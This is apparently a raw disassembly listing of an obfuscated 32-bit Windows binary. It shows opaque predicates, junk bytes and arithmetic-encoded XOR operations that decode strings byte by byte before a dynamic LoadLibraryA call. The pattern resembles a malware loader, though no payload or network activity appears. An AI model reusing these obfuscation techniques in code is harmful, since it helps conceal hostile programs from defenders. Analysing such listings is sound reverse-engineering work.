call fcn.00434790
mov cl, al
mov eax, dword [esp + 0x528]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x47fca1
mov dword [esp + 0x1b94], 6
jmp 0x47fdce
jmp 0x47fca3
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x514], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x514]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x51c], eax
call fcn.004347b0
movsx eax, al
shl eax, 3
mov dword [esp + 0x518], eax
call fcn.004347c0
mov ecx, dword [esp + 0x518]
mov dl, al
mov eax, dword [esp + 0x51c]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x47fdcc
movsd xmm0, qword [esp + 0x1b80]
movsd qword [esp + 0x508], xmm0
movsx eax, byte [0x4f500b]
mov dword [esp + 0x500], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x500]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x510], eax
call fcn.004347b0
movsx eax, al
mov dword [esp + 0x504], eax
call fcn.004347c0
mov ecx, dword [esp + 0x504]
movsd xmm0, qword [esp + 0x508]
mov dl, al
mov eax, dword [esp + 0x510]
movsx edx, dl
imul ecx, edx
lea eax, [eax + ecx*8]
movsx ecx, byte [0x4f500c]
xor edx, edx
div ecx
movsx ecx, byte [0x4f500d]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x4eb240]
por xmm1, xmm2
movsd xmm2, qword [0x4eb250]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x1b94], eax
jmp 0x47fdce
ud2
mov eax, dword [esp + 0x52c]
mov ecx, dword [esp + 0x530]
mov edx, dword [esp + 0x1b94]
movsx edx, dl
and ecx, edx
shl ecx, 1
sub eax, ecx
mov dl, al
mov eax, dword [esp + 0x1b4c]
mov ecx, dword [esp + 0x1b48]
mov byte [eax + ecx], dl
jmp 0x47fe01
mov al, byte [0x4f500a]
movsx eax, al
mov dword [esp + 0x4f4], eax
call fcn.00434770
mov cl, al
mov eax, dword [esp + 0x4f4]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x4f8], eax
call fcn.00434780
mov cl, al
mov eax, dword [esp + 0x4f8]
movsx ecx, cl
imul ecx, ecx, 6
mov dl, byte [0x4f62ec]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x4fc], eax
call fcn.00434790
mov cl, al
mov eax, dword [esp + 0x4fc]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x4803c8
mov eax, dword [esp + 0x1b4c]
mov ecx, dword [esp + 0x1b48]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x4e4], eax
mov dword [esp + 0x1b74], 0x40554000
mov dword [esp + 0x1b70], 0
xor eax, eax
je 0x47fea3
add dl, dh
movups xmm0, xmmword [esp + 0x1b70]
movsd xmm0, qword [esp + 0x1b70]
movsx eax, byte [str._aOLOOLOLOLOLOOLL]
cvtsi2sd xmm2, eax
movsx eax, byte [0x4f500a]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x4eb230]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x1b68], xmm0
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x4e8], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x4e8]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x4f0], eax
call fcn.004347b0
movsx eax, al
shl eax, 1
mov dword [esp + 0x4ec], eax
call fcn.004347c0
mov ecx, dword [esp + 0x4ec]
mov dl, al
mov eax, dword [esp + 0x4f0]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x47ffcf
mov al, byte [0x4f500a]
movsx eax, al
mov dword [esp + 0x4d8], eax
call fcn.00434770
mov cl, al
mov eax, dword [esp + 0x4d8]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x4dc], eax
call fcn.00434780
mov cl, al
mov eax, dword [esp + 0x4dc]
movsx ecx, cl
mov dl, byte [0x4f62ec]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x4e0], eax
call fcn.00434790
mov cl, al
mov eax, dword [esp + 0x4e0]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x47ffcd
mov dword [esp + 0x1b7c], 6
jmp 0x4800fa
jmp 0x47ffcf
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x4cc], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x4cc]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x4d4], eax
call fcn.004347b0
movsx eax, al
shl eax, 3
mov dword [esp + 0x4d0], eax
call fcn.004347c0
mov ecx, dword [esp + 0x4d0]
mov dl, al
mov eax, dword [esp + 0x4d4]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x4800f8
movsd xmm0, qword [esp + 0x1b68]
movsd qword [esp + 0x4c0], xmm0
movsx eax, byte [0x4f500b]
mov dword [esp + 0x4b8], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x4b8]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x4c8], eax
call fcn.004347b0
movsx eax, al
mov dword [esp + 0x4bc], eax
call fcn.004347c0
mov ecx, dword [esp + 0x4bc]
movsd xmm0, qword [esp + 0x4c0]
mov dl, al
mov eax, dword [esp + 0x4c8]
movsx edx, dl
imul ecx, edx
lea eax, [eax + ecx*8]
movsx ecx, byte [0x4f500c]
xor edx, edx
div ecx
movsx ecx, byte [0x4f500d]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x4eb240]
por xmm1, xmm2
movsd xmm2, qword [0x4eb250]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x1b7c], eax
jmp 0x4800fa
ud2
mov eax, dword [esp + 0x4e4]
mov ecx, dword [esp + 0x1b7c]
add eax, ecx
mov dword [esp + 0x4a4], eax
mov eax, dword [esp + 0x1b4c]
mov ecx, dword [esp + 0x1b48]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x4a8], eax
mov dword [esp + 0x1b5c], 0x40554000
mov dword [esp + 0x1b58], 0
xor eax, eax
je 0x480145
add dl, dh
movups xmm0, xmmword [esp + 0x1b58]
movsd xmm0, qword [esp + 0x1b58]
movsx eax, byte [str._aOLOOLOLOLOLOOLL]
cvtsi2sd xmm2, eax
movsx eax, byte [0x4f500a]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x4eb230]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x1b50], xmm0
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x4ac], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x4ac]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x4b4], eax
call fcn.004347b0
movsx eax, al
shl eax, 1
mov dword [esp + 0x4b0], eax
call fcn.004347c0
mov ecx, dword [esp + 0x4b0]
mov dl, al
mov eax, dword [esp + 0x4b4]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x480271
mov al, byte [0x4f500a]
movsx eax, al
mov dword [esp + 0x498], eax
call fcn.00434770
mov cl, al
mov eax, dword [esp + 0x498]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x49c], eax
call fcn.00434780
mov cl, al
mov eax, dword [esp + 0x49c]
movsx ecx, cl
mov dl, byte [0x4f62ec]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x4a0], eax
call fcn.00434790
mov cl, al
mov eax, dword [esp + 0x4a0]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x48026f
mov dword [esp + 0x1b64], 6
jmp 0x48039c
jmp 0x480271
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x48c], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x48c]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x494], eax
call fcn.004347b0
movsx eax, al
shl eax, 3
mov dword [esp + 0x490], eax
call fcn.004347c0
mov ecx, dword [esp + 0x490]
mov dl, al
mov eax, dword [esp + 0x494]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x48039a
movsd xmm0, qword [esp + 0x1b50]
movsd qword [esp + 0x480], xmm0
movsx eax, byte [0x4f500b]
mov dword [esp + 0x478], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x478]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x488], eax
call fcn.004347b0
movsx eax, al
mov dword [esp + 0x47c], eax
call fcn.004347c0
mov ecx, dword [esp + 0x47c]
movsd xmm0, qword [esp + 0x480]
mov dl, al
mov eax, dword [esp + 0x488]
movsx edx, dl
imul ecx, edx
lea eax, [eax + ecx*8]
movsx ecx, byte [0x4f500c]
xor edx, edx
div ecx
movsx ecx, byte [0x4f500d]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x4eb240]
por xmm1, xmm2
movsd xmm2, qword [0x4eb250]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x1b64], eax
jmp 0x48039c
ud2
mov eax, dword [esp + 0x4a4]
mov ecx, dword [esp + 0x4a8]
and ecx, dword [esp + 0x1b64]
shl ecx, 1
sub eax, ecx
mov dl, al
mov eax, dword [esp + 0x1b4c]
mov ecx, dword [esp + 0x1b48]
mov byte [eax + ecx], dl
mov eax, dword [esp + 0x1b48]
add eax, 1
mov dword [esp + 0x1b48], eax
jmp 0x47e647
jmp 0x4803e0
jmp 0x4803e2
mov eax, dword [esp + 0x734]
mov byte [eax], 1
add eax, 1
mov dword [esp + 0x474], eax
jmp 0x4803f8
mov ecx, dword [esp + 0x474]
mov eax, esp
mov dword [eax], ecx
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [esp + 0x470], eax
jmp 0x480416
mov eax, dword [esp + 0x470]
mov dword [esp + 0x96c], eax
mov eax, esp
lea ecx, [esp + 0x945]
mov dword [eax], ecx
lea ecx, [esp + 0x946]
call fcn.00486d30
sub esp, 4
jmp 0x480440
lea eax, [esp + 0x946]
mov dword [esp + 0xb74], eax
mov eax, dword [esp + 0xb74]
mov dword [esp + 0x1c3c], eax
mov eax, dword [esp + 0x1c3c]
mov dword [esp + 0x46c], eax
test byte [eax], 1
jne 0x48222a
mov eax, dword [esp + 0x46c]
add eax, 1
mov dword [esp + 0x1c44], eax
mov dword [esp + 0x1c40], 0
mov eax, dword [esp + 0x1c40]
cmp eax, 0x15
jae 0x482226
mov al, byte [0x4f500a]
movsx eax, al
mov dword [esp + 0x460], eax
call fcn.00434770
mov cl, al
mov eax, dword [esp + 0x460]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x464], eax
call fcn.00434780
mov cl, al
mov eax, dword [esp + 0x464]
movsx ecx, cl
imul ecx, ecx, 9
mov dl, byte [0x4f62ec]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x468], eax
call fcn.00434790
mov cl, al
mov eax, dword [esp + 0x468]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x480a66
mov eax, dword [esp + 0x1c44]
mov ecx, dword [esp + 0x1c40]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x450], eax
mov dword [esp + 0x1d2c], 0x4054c000
mov dword [esp + 0x1d28], 0
xor eax, eax
je 0x480541
add dl, dh
movups xmm0, xmmword [esp + 0x1d28]
movsd xmm0, qword [esp + 0x1d28]
movsx eax, byte [str._aOLOOLOLOLOLOOLL]
cvtsi2sd xmm2, eax
movsx eax, byte [0x4f500a]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x4eb230]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x1d20], xmm0
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x454], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x454]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x45c], eax
call fcn.004347b0
movsx eax, al
shl eax, 1
mov dword [esp + 0x458], eax
call fcn.004347c0
mov ecx, dword [esp + 0x458]
mov dl, al
mov eax, dword [esp + 0x45c]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x48066d
mov al, byte [0x4f500a]
movsx eax, al
mov dword [esp + 0x444], eax
call fcn.00434770
mov cl, al
mov eax, dword [esp + 0x444]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x448], eax
call fcn.00434780
mov cl, al
mov eax, dword [esp + 0x448]
movsx ecx, cl
mov dl, byte [0x4f62ec]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x44c], eax
call fcn.00434790
mov cl, al
mov eax, dword [esp + 0x44c]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x48066b
mov dword [esp + 0x1d34], 6
jmp 0x480798
jmp 0x48066d
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x438], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x438]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x440], eax
call fcn.004347b0
movsx eax, al
shl eax, 3
mov dword [esp + 0x43c], eax
call fcn.004347c0
mov ecx, dword [esp + 0x43c]
mov dl, al
mov eax, dword [esp + 0x440]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x480796
movsd xmm0, qword [esp + 0x1d20]
movsd qword [esp + 0x428], xmm0
movsx eax, byte [0x4f500b]
mov dword [esp + 0x420], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x420]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x434], eax
call fcn.004347b0
movsx eax, al
mov dword [esp + 0x424], eax
call fcn.004347c0
mov ecx, dword [esp + 0x424]
movsd xmm0, qword [esp + 0x428]
mov dl, al
mov eax, dword [esp + 0x434]
movsx edx, dl
imul ecx, edx
lea eax, [eax + ecx*8]
movsx ecx, byte [0x4f500c]
xor edx, edx
div ecx
movsx ecx, byte [0x4f500d]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x4eb240]
por xmm1, xmm2
movsd xmm2, qword [0x4eb250]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x1d34], eax
jmp 0x480798
ud2
mov eax, dword [esp + 0x450]
mov ecx, dword [esp + 0x1d34]
add eax, ecx
mov dword [esp + 0x40c], eax
mov eax, dword [esp + 0x1c44]
mov ecx, dword [esp + 0x1c40]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x410], eax
mov dword [esp + 0x1d14], 0x4054c000
mov dword [esp + 0x1d10], 0
xor eax, eax
je 0x4807e3
add dl, dh
movups xmm0, xmmword [esp + 0x1d10]
movsd xmm0, qword [esp + 0x1d10]
movsx eax, byte [str._aOLOOLOLOLOLOOLL]
cvtsi2sd xmm2, eax
movsx eax, byte [0x4f500a]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x4eb230]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x1d08], xmm0
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x414], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x414]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x41c], eax
call fcn.004347b0
movsx eax, al
shl eax, 1
mov dword [esp + 0x418], eax
call fcn.004347c0
mov ecx, dword [esp + 0x418]
mov dl, al
mov eax, dword [esp + 0x41c]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x48090f
mov al, byte [0x4f500a]
movsx eax, al
mov dword [esp + 0x400], eax
call fcn.00434770
mov cl, al
mov eax, dword [esp + 0x400]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x404], eax
call fcn.00434780
mov cl, al
mov eax, dword [esp + 0x404]
movsx ecx, cl
mov dl, byte [0x4f62ec]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x408], eax
call fcn.00434790
mov cl, al
mov eax, dword [esp + 0x408]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x48090d
mov dword [esp + 0x1d1c], 6
jmp 0x480a3a
jmp 0x48090f
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x3f4], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x3f4]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x3fc], eax
call fcn.004347b0
movsx eax, al
shl eax, 3
mov dword [esp + 0x3f8], eax
call fcn.004347c0
mov ecx, dword [esp + 0x3f8]
mov dl, al
mov eax, dword [esp + 0x3fc]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x480a38
movsd xmm0, qword [esp + 0x1d08]
movsd qword [esp + 0x3e8], xmm0
movsx eax, byte [0x4f500b]
mov dword [esp + 0x3e0], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x3e0]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x3f0], eax
call fcn.004347b0
movsx eax, al
mov dword [esp + 0x3e4], eax
call fcn.004347c0
mov ecx, dword [esp + 0x3e4]
movsd xmm0, qword [esp + 0x3e8]
mov dl, al
mov eax, dword [esp + 0x3f0]
movsx edx, dl
imul ecx, edx
lea eax, [eax + ecx*8]
movsx ecx, byte [0x4f500c]
xor edx, edx
div ecx
movsx ecx, byte [0x4f500d]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x4eb240]
por xmm1, xmm2
movsd xmm2, qword [0x4eb250]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x1d1c], eax
jmp 0x480a3a
ud2
mov eax, dword [esp + 0x40c]
mov ecx, dword [esp + 0x410]
and ecx, dword [esp + 0x1d1c]
shl ecx, 1
sub eax, ecx
mov dl, al
mov eax, dword [esp + 0x1c44]
mov ecx, dword [esp + 0x1c40]
mov byte [eax + ecx], dl
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x3d4], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x3d4]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x3dc], eax
call fcn.004347b0
movsx eax, al
imul eax, eax, 5
mov dword [esp + 0x3d8], eax
call fcn.004347c0
mov ecx, dword [esp + 0x3d8]
mov dl, al
mov eax, dword [esp + 0x3dc]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x481c49
mov al, byte [0x4f500a]
movsx eax, al
mov dword [esp + 0x3c8], eax
call fcn.00434770
mov cl, al
mov eax, dword [esp + 0x3c8]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x3cc], eax
call fcn.00434780
mov cl, al
mov eax, dword [esp + 0x3cc]
movsx ecx, cl
shl ecx, 2
mov dl, byte [0x4f62ec]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x3d0], eax
call fcn.00434790
mov cl, al
mov eax, dword [esp + 0x3d0]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x4810a6
mov eax, dword [esp + 0x1c44]
mov ecx, dword [esp + 0x1c40]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x3b8], eax
mov dword [esp + 0x1cfc], 0x40550000
mov dword [esp + 0x1cf8], 0
xor eax, eax
je 0x480b81
add dl, dh
movups xmm0, xmmword [esp + 0x1cf8]
movsd xmm0, qword [esp + 0x1cf8]
movsx eax, byte [str._aOLOOLOLOLOLOOLL]
cvtsi2sd xmm2, eax
movsx eax, byte [0x4f500a]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x4eb230]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x1cf0], xmm0
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x3bc], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x3bc]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x3c4], eax
call fcn.004347b0
movsx eax, al
shl eax, 1
mov dword [esp + 0x3c0], eax
call fcn.004347c0
mov ecx, dword [esp + 0x3c0]
mov dl, al
mov eax, dword [esp + 0x3c4]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x480cad
mov al, byte [0x4f500a]
movsx eax, al
mov dword [esp + 0x3ac], eax
call fcn.00434770
mov cl, al
mov eax, dword [esp + 0x3ac]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x3b0], eax
call fcn.00434780
mov cl, al
mov eax, dword [esp + 0x3b0]
movsx ecx, cl
mov dl, byte [0x4f62ec]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x3b4], eax
call fcn.00434790
mov cl, al
mov eax, dword [esp + 0x3b4]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x480cab
mov dword [esp + 0x1d04], 6
jmp 0x480dd8
jmp 0x480cad
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x3a0], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x3a0]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x3a8], eax
call fcn.004347b0
movsx eax, al
shl eax, 3
mov dword [esp + 0x3a4], eax
call fcn.004347c0
mov ecx, dword [esp + 0x3a4]
mov dl, al
mov eax, dword [esp + 0x3a8]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x480dd6
movsd xmm0, qword [esp + 0x1cf0]
movsd qword [esp + 0x390], xmm0
movsx eax, byte [0x4f500b]
mov dword [esp + 0x388], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x388]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x39c], eax
call fcn.004347b0
movsx eax, al
mov dword [esp + 0x38c], eax
call fcn.004347c0
mov ecx, dword [esp + 0x38c]
movsd xmm0, qword [esp + 0x390]
mov dl, al
mov eax, dword [esp + 0x39c]
movsx edx, dl
imul ecx, edx
lea eax, [eax + ecx*8]
movsx ecx, byte [0x4f500c]
xor edx, edx
div ecx
movsx ecx, byte [0x4f500d]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x4eb240]
por xmm1, xmm2
movsd xmm2, qword [0x4eb250]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x1d04], eax
jmp 0x480dd8
ud2
mov eax, dword [esp + 0x3b8]
mov ecx, dword [esp + 0x1d04]
add eax, ecx
mov dword [esp + 0x374], eax
mov eax, dword [esp + 0x1c44]
mov ecx, dword [esp + 0x1c40]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x378], eax
mov dword [esp + 0x1ce4], 0x40550000
mov dword [esp + 0x1ce0], 0
xor eax, eax
je 0x480e23
add dl, dh
movups xmm0, xmmword [esp + 0x1ce0]
movsd xmm0, qword [esp + 0x1ce0]
movsx eax, byte [str._aOLOOLOLOLOLOOLL]
cvtsi2sd xmm2, eax
movsx eax, byte [0x4f500a]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x4eb230]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x1cd8], xmm0
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x37c], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x37c]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x384], eax
call fcn.004347b0
movsx eax, al
shl eax, 1
mov dword [esp + 0x380], eax
call fcn.004347c0
mov ecx, dword [esp + 0x380]
mov dl, al
mov eax, dword [esp + 0x384]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x480f4f
mov al, byte [0x4f500a]
movsx eax, al
mov dword [esp + 0x368], eax
call fcn.00434770
mov cl, al
mov eax, dword [esp + 0x368]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x36c], eax
call fcn.00434780
mov cl, al
mov eax, dword [esp + 0x36c]
movsx ecx, cl
mov dl, byte [0x4f62ec]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x370], eax
call fcn.00434790
mov cl, al
mov eax, dword [esp + 0x370]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x480f4d
mov dword [esp + 0x1cec], 6
jmp 0x48107a
jmp 0x480f4f
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x35c], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x35c]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x364], eax
call fcn.004347b0
movsx eax, al
shl eax, 3
mov dword [esp + 0x360], eax
call fcn.004347c0
mov ecx, dword [esp + 0x360]
mov dl, al
mov eax, dword [esp + 0x364]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x481078
movsd xmm0, qword [esp + 0x1cd8]
movsd qword [esp + 0x350], xmm0
movsx eax, byte [0x4f500b]
mov dword [esp + 0x348], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x348]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x358], eax
call fcn.004347b0
movsx eax, al
mov dword [esp + 0x34c], eax
call fcn.004347c0
mov ecx, dword [esp + 0x34c]
movsd xmm0, qword [esp + 0x350]
mov dl, al
mov eax, dword [esp + 0x358]
movsx edx, dl
imul ecx, edx
lea eax, [eax + ecx*8]
movsx ecx, byte [0x4f500c]
xor edx, edx
div ecx
movsx ecx, byte [0x4f500d]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x4eb240]
por xmm1, xmm2
movsd xmm2, qword [0x4eb250]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x1cec], eax
jmp 0x48107a
ud2
mov eax, dword [esp + 0x374]
mov ecx, dword [esp + 0x378]
and ecx, dword [esp + 0x1cec]
shl ecx, 1
sub eax, ecx
mov dl, al
mov eax, dword [esp + 0x1c44]
mov ecx, dword [esp + 0x1c40]
mov byte [eax + ecx], dl
mov al, byte [0x4f500a]
movsx eax, al
mov dword [esp + 0x33c], eax
call fcn.00434770
mov cl, al
mov eax, dword [esp + 0x33c]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x340], eax
call fcn.00434780
mov cl, al
mov eax, dword [esp + 0x340]
movsx ecx, cl
imul ecx, ecx, 9
mov dl, byte [0x4f62ec]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x344], eax
call fcn.00434790
mov cl, al
mov eax, dword [esp + 0x344]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x48166d
mov eax, dword [esp + 0x1c44]
mov ecx, dword [esp + 0x1c40]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x32c], eax
mov dword [esp + 0x1ccc], 0x40554000
mov dword [esp + 0x1cc8], 0
xor eax, eax
je 0x481148
add dl, dh
movups xmm0, xmmword [esp + 0x1cc8]
movsd xmm0, qword [esp + 0x1cc8]
movsx eax, byte [str._aOLOOLOLOLOLOOLL]
cvtsi2sd xmm2, eax
movsx eax, byte [0x4f500a]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x4eb230]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x1cc0], xmm0
